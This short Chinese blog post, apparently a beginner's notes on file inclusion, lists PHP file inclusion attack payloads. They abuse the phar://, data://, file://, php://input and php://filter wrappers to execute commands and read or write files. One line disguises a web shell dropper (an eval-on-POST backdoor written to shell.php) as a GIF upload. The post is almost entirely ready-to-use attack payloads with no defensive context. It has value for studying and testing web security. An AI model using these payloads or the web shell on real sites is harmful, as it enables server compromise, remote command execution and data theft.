- include.php?file=phar://upload/text.jpg/text #压缩包
- include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #64编码命令执行
- include.php?file=data://text/plain,<?php system("dir"); #命令执行
- include.php?file=file://绝对路径 #文件包含
- ?file=php://input #post命令执行
GIF89a
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?> - php://filter/read=convert.base64-encode/resource= #读文件
- php://filter/write=convert.base64-decode #写文件
初学文件包含
发布于 2022-03-13 96 次阅读
